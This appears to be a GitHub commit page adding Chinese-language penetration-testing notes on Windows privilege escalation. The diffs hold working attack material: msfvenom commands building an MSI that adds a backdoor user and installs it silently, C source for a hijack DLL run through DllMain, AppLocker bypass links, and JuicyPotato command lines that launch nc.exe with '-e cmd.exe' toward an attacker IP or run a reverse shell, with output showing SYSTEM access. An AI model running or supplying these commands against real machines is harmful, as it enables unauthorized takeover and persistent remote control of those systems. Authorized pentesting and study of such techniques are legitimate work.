forked from xiaoy-sec/Pentest_Note
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
32 changed files
with
479 additions
and
33 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,11 +1,17 @@ | ||
| >reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated | ||
| >reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated | ||
|
|
||
| PS > Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer | ||
| PS > Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer | ||
| 为1 检测是否永远以高权限启动安装 | ||
| #HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer | ||
| 新建DWORD32 DisableMSI=0 | ||
| >>msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi | ||
| >>upload /root/add.msi c:\\1.msi | ||
| >msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi | ||
| >msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi-nouac -o /root/add.msi | ||
| >upload /root/add.msi c:\\1.msi | ||
| >msiexec /quiet /qn /i c:\1.msi | ||
| MSF | ||
| >use exploit/windows/local/always_install_elevated | ||
| >set session 1 | ||
| PowerUp | ||
| Get-RegistryAlwaysInstallElevated,Write-UserAddMSI |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,9 @@ | ||
| GPO | ||
| HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2（keys：Appx、Dll、Exe、Msi 和脚本）。 | ||
| 列出 AppLocker 规则 | ||
| PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections | ||
| AppLocker 绕过 | ||
| 默认情况下，C:\Windows不被阻止，C:\Windows\Tasks任何用户都可以写 | ||
| https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md | ||
| https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md | ||
| https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,18 @@ | ||
| 以管理员/SYSTEM 身份运行且文件权限不正确的服务可能允许提权。可以替换文件，重新启动服务并获取系统权限。 | ||
| 查找缺少的 DLL | ||
| - Find-PathDLLHijack PowerUp.ps1 | ||
| - Process Monitor : check for "Name Not Found" | ||
|
|
||
| 编译一个恶意 dll | ||
| - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll" | ||
| - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll" | ||
|
|
||
| windows_dll.c的内容 | ||
| #include <windows.h> | ||
| BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { | ||
| if (dwReason == DLL_PROCESS_ATTACH) { | ||
| system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt"); | ||
| ExitProcess(0); | ||
| } | ||
| return TRUE; | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,8 @@ | ||
| https://github.com/zcgonvh/EfsPotato | ||
| # .NET 4.x | ||
| csc EfsPotato.cs | ||
| csc /platform:x86 EfsPotato.cs | ||
|
|
||
| # .NET 2.0/3.5 | ||
| C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs | ||
| C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,23 @@ | ||
| Juicy Potato | ||
| 如果机器>= Windows 10 1809 & Windows Server 2019 - 尝试Rogue Potato | ||
| 如果机器< Windows 10 1809 < Windows Server 2019 - 尝试Juicy Potato | ||
| https://github.com/ohpe/juicy-potato/releases | ||
| 检查服务帐户的权限，寻找SeImpersonate/或SeAssignPrimaryToken | ||
| whoami /priv | ||
| 根据您的 Windows 版本选择 CLSID，CLSID 是标识 COM 类对象的全局唯一标识符 | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter | ||
| https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard | ||
| 执行 JuicyPotato 以运行特权命令 | ||
| >JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} | ||
| >JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} | ||
| >JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" | ||
| Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 | ||
| ...... | ||
| [+] authresult 0 | ||
| {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM | ||
| [+] CreateProcessWithTokenW OK |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.